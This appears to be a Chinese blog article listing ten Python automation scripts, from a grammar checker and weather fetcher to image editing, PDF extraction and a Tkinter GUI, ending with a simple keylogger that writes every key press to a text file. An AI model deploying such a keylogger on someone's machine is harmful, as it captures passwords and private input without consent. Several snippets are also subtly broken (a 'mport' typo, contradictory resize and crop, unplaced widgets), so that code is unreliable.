前言

为您的日常任务提供自动化解决方案。

python pyftpdlib 设置主动模式 python脚本如何自动运行_Python

每天,我们需要执行许多任务和项目,有时候这些任务有些枯燥乏味、耗时费力,使用自动化机器人来节省时间会更好。我指的是一些任务,比如检查每日天气更新、编辑照片、下载Google照片、校对、发送大量电子邮件等等。

在本文中,我将向您展示10个用Python编写的自动化脚本。那么,你还在等什么呢?将这篇文章标记在你的清单上,让我们开始吧!


1、Python校对器

需要通过编程方式校对你的文件吗?那么使用这个方便的脚本吧。这个Python脚本使用Gingerit模块,它是Ginger语法检查器的包装器。这个脚本将扫描你的文本,检查语法和拼写错误,并给你一个校对后的文本。

# Python Proofreader
# 通过 pip install gingerit 安装所需模块
from gingerit.gingerit import GingerIt 

# 定义一个名为 Proofreader 的函数,传入参数 text
def Proofreader(text):
    # 创建 GingerIt 实例
    grammarly = GingerIt()
    # 调用 parse 方法,返回校对后的文本
    scan = grammarly.parse(text)
    # 输出原文本
    print("原始文本: ", text)
    # 输出校对后的文本
    print("校对后文本: ", scan['result'])

# 调用 Proofreader 函数,传入文本 "I can't believe it's butter"
Proofreader("I can;t beleive it's butter")

# 输出格式化的结果:
# 原始文本: I can;t beleive it's butter
# 校对后文本: I can't believe it's butter

注:此库也支持中文,建议用来校正英文

2、每日天气预报更新

如果您需要在桌面上自动获取每日天气预报更新,那么这个自动化脚本将非常方便。它使用免费的天气预报 API 和 Request 模块获取任何城市的天气更新信息,如温度、湿度、天气情况等。

# Get Weather Updates
# pip install requests
import requests

def get_weather(city):
    url = "https://api.openweathermap.org/data/2.5/weather"
    params = {
        "q": city,
        "appid": "YOUR_API_KEY",
    }
    r = requests.get(url, params=params)
    result = r.json()
    print("city: ", city)
    print("temp: ", result["main"]["temp"])
    print("humidity: ", result["main"]["humidity"])
    print("pressure: ", result["main"]["pressure"])
    print("weather: ", result["weather"][0]["main"])
    print("description: ", result["weather"][0]["description"])

if __name__ == "__main__":
    get_weather("New York")

3、图片编辑

使用这个方便的自动化脚本,在Python中创建自己的迷你Photoshop,它使用了著名的Pillow模块,该模块以其图像处理功能而闻名。这个自动化脚本可以让您对图片进行裁剪、缩放、添加滤镜、模糊处理等等。

当您需要编辑大量照片或在项目中需要一些帮助时,这个方便的脚本会非常有用。

# Edit your Photos
# pip install Pillow
from PIL import Image as img

# 加载图片
pic = img.open("image.jpg")

# 缩放图片
pic = pic.resize((30, 30))

# 裁剪图片
pic = pic.crop((0, 0, 100, 100))

# 翻转图片
pic = pic.transpose(img.FLIP_LEFT_RIGHT)

# 旋转图片
pic = pic.rotate(45)

# 模糊图片
pic = pic.filter(img.BLUR)

# 锐化图片
pic = pic.filter(img.SHARPEN)

# 将图片转换为灰度图
pic = pic.convert("L")

# 添加滤镜
pic = pic.filter(img.CONTOUR)

# 对图片进行变换
pic = pic.transform((100, 100), img.EXTENT, (0, 0, 100, 100))

# 显示图片
pic.show()

# 保存图片
pic.save("image.jpg")

4、文件压缩器

这是一个文件压缩的自动化脚本,可以让你将大型文件压缩成小型文件。它使用了Py7zr模块,该模块可以将文件作为参数进行压缩,并返回压缩后的文件。如果你有需要压缩的文件,这个脚本会非常有用。

# Files Compressor
# pip install py7zr
import py7zr as zipper
def File_Compressor(files):
    with zipper.SevenZipFile('compressed.7z', 'w') as z:
        for file in files:
            z.write(file)
    print("Compressed")
File_Compressor(["data1.pdf", "data2.png"])

5、 Google图片下载器

想要从谷歌搜索引擎下载大量图片吗?那么你不需要手动下载,可以使用以下自动化脚本来下载任意数量的谷歌图片。

这个脚本非常有用,可以让程序员以编程方式批量下载不同查询的照片。

# Google Images Downloader
# pip instal requests
# pip install bs4
mport requests
from bs4 import BeautifulSoup
import os
def download_images(query, num_images):
    url = "https://www.google.com/search?q="+query+"&tbm=isch"
    r = requests.get(url)
    soup = BeautifulSoup(r.text, 'html.parser')
    img_tags = soup.find_all('img')
    
    count = 0
    for imgs in img_tags:
        if count == num_images:
            break
        image_url = imgs['src']
        r = requests.get(image_url)
        with open(f"image_{count}.jpg", "wb") as f:
            f.write(r.content)
            print("Downloaded "+image_url)
            count += 1
download_images("mountains", 10)

6、Docx 解析器

想要使用 Python 读取和写入 Docx 文件,那么这个自动化脚本可以帮助你。它使用了 Python-docx 模块,可以帮助你读取、写入和修改 Docx 文件。

这个脚本非常方便,可以帮助你读取大量的 Docx 文件,或在项目中获得一些帮助。

# Docx 解析器
# pip install python-docx
import docx as msdoc

# 读取文档
doc = msdoc.Document('test.docx')

# 获取段落数
print(len(doc.paragraphs))

# 获取特定段落
print(doc.paragraphs[0].text)

# 获取所有段落
data = []
for para in doc.paragraphs:
    data.append(para.text)

# 获取所有表格
tables = []
for table in doc.tables:
    for row in table.rows:
        for cell in row.cells:
            tables.append(cell.text)

# 写入文档
doc = msdoc.Document()
doc.add_paragraph('你好,世界!')

# 添加表格
table = doc.add_table(rows=1, cols=3)
hdr_cells = table.rows[0].cells
hdr_cells[0].text = '数量'
hdr_cells[1].text = '编号'
hdr_cells[2].text = '描述'

# 保存文档
doc.save('test.docx')

7、PDF 转文本

这个自动化脚本的设计目的是从 PDF 文件中提取文本。该脚本使用 Textract 模块,只需要几行代码即可获取完整的 PDF 文件。

当你需要一次获取多个 PDF 文件而不是一个一个地处理时,这个脚本非常有用。

# PDF 转文本
# pip install textract
import textract

def PDF_to_Text(pdf_file):
    # 提取文本
    text = textract.process(pdf_file)
    # 解码为 utf-8 编码
    text = text.decode('utf-8')
    # 输出文本
    print(text)

PDF_to_Text("example.pdf")

如果批量处理PDF,可以这样:

# PDF to Text Converter for batch processing
# pip install textract
import os
import textract

def PDF_to_Text(pdf_file):
    text = textract.process(pdf_file)
    text = text.decode('utf-8')
    print(text)

# set the directory containing PDF files
pdf_dir = 'pdf_directory'

# loop through all PDF files in the directory and convert them to text
for filename in os.listdir(pdf_dir):
    if filename.endswith('.pdf'):
        pdf_file = os.path.join(pdf_dir, filename)
        print('Converting:', pdf_file)
        PDF_to_Text(pdf_file)

在上述代码中,将PDF文件所在目录路径存储在变量pdf_dir中。然后使用os.listdir函数列出目录中的所有文件,并用if filename.endswith(‘.pdf’)筛选出PDF文件。接下来,将PDF文件路径存储在变量pdf_file中,并在控制台输出正在转换的PDF文件名。最后,将PDF文件路径传递给PDF_to_Text函数来转换为文本。

8、图片转视频

这个自动化脚本可以将你的图片转换成视频格式。该脚本使用了Moviepy模块,它会将图片列表作为参数,然后使用其函数将你的图片转换为视频。以下是示例代码。

# Images to Video 
# pip install moviepy
from moviepy.editor import *
def make_video(images_list):
    clip = ImageSequenceClip(images_list, fps=1)
    clip.write_videofile("video.mp4")
    print("Video Created")
make_video(["img1.jpg", "img2.jpg", "img3.jpg"])

9、自定义Tkinter GUI

这个Python脚本将展示如何使用Customtkinter模块来设计和开发美观的GUI程序,让你更进一步地掌握Python Tkinter包的使用。

# Tkinter GUI
# pip install customtkinter
import tkinter 
import customtkinter as customtk

customtk.set_appearance_mode("System")
customtk.set_default_color_theme("blue")

root = customtk.CTk()

# 设置GUI标题
root.title("Tkinter GUI")

# 设置GUI窗口大小
root.geometry("500x500")

# 使用按钮
btn = customtk.CTkButton(master=root, text="Click Me")
btn.place(x=100, y=100)

# 使用文本标签
lbl = customtk.CTkLabel(master=root, text="Hello World")
lbl.place(x=100, y=200)

# 使用输入框
entry = customtk.CTkEntry(master=root)
entry.place(x=100, y=300)

# 使用复选框
check = customtk.CTkCheckBox(master=root, text="Check Me")
check.place(x=100, y=400)

# 使用单选框
radio = customtk.CTkRadioButton(master=root, text="Radio Me")

# 多行文本
text = customtk.CTkTextbox(master=root)
text.place(x=100, y=500)

# 滚动条
scroll = customtk.CTkScrollbar(master=root)
scroll.place(x=100, y=600)

# 运行应用
root.mainloop()

10、制作键盘记录器

这是一个使用 Python 编写的简单键盘记录器,使用 Keyboard 模块可以记录您按下的每个按键并将它们存储在 TXT 文件中。

注意:本脚本仅用于教育目的,请正确使用

# Make Keylogger
# pip install keyboard
import keyboard
import time

log = "keylogger.txt"

# 定义键盘事件处理函数
def on_key_press(event):
    with open(log, "a") as f:
        f.write(f"{event.name} {time.time()}\n")

# 注册键盘事件监听器
keyboard.on_press(on_key_press)

# 无限循环等待键盘事件
while True:
    pass